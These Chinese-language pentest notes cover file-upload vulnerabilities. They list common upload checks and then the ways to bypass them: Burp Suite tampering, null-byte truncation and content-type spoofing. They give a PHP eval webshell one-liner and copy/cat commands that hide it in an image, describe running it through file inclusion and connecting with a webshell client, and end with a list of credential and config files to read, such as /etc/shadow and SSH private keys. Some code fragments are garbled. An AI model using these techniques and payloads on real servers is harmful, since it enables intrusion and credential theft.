上传文件校验
- 客户端javascript校验(一般只校验后缀名)
- 服务端校验
- 文件头content-type字段校验(image/gif)
- 件内容头校验(GIF89a)
- 后缀名黑名单校验
- 后缀名白名单校验
- 自定义正则校验
- WAF设备校验(根据不同的WAF产品而定
php文件上传过程黑名单、白名单认证
此文可以参考https://blog.csdn.net/hitwangpeng/article/details/47060671
黑名单绕过可以测试,如1.aaa,1.php3,1.php4
等进行测试
文件上传漏洞
Burpsuite改包
0x00截断:基于一个组合逻辑漏洞造成的,通常存在于构造上传文件路径的时候
- 上传文件为1.php,在burpsuite将其改为1.php+,发送到repeate,+号的十六进制为2d,在hex里面将其改为00,截断,点GO
- 上传文件为1.php.jpg,将jpg前面的.的十六进制(2e)改为00
上传一句话木马,1.php;
<?php eval($_POST["xxx"]);?>
,在Burpsuite里面将其文件名改为1.jpg,还有将content-type字段改为image/jpg;
图片木马
- Windows下制作图片一句话木马php写入图片
copy 1.jpg/b+2.php/a New.jpg
- Linux下
cat 1.jpg 2.php > new.jpg
点击上传,http://localhost/upload/upload.html
上传成功后,使用文件包含程序,将jpg文件进行解析http://localhost/upload/1.php?page=./uploads/h.jpg
?paragam(参数)=图片的绝对路径
此时上传成功,php程序一句被即解析,本页面只会显示图片的源码,而不显示php程序,此时查看源代码php程序已经被注释
接下来可以使用菜刀连接 刚刚的网址,密码是php程序里面写入的参数
1.php
1 | <?php |
2.php1
2
3<?php
echo "niaho";
?>
敏感文件:
1、Windows:
C:boot.ini //查看系统版本
C:WindowsSystem32inetsrvMetaBase.xml //IIS配置文件
C:Windowsrepairsam //存储系统初次安装的密码
C:Program Filesmysqlmy.ini //Mysql配置
C:Program Filesmysqldatamysqluser.MYD //Mysql root
C:Windows\php.ini //php配置信息
C:Windows\my.ini //Mysql配置信息
2、Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
###
文件包含漏洞详解,转自https://blog.csdn.net/chence19871/article/details/51906523
web安全文件包含漏洞,转自https://blog.csdn.net/hitwangpeng/article/details/45952625
绕过姿势https://thief.one/2017/04/10/2/
https://thief.one/2016/09/22/上传木马姿势汇总-欢迎补充/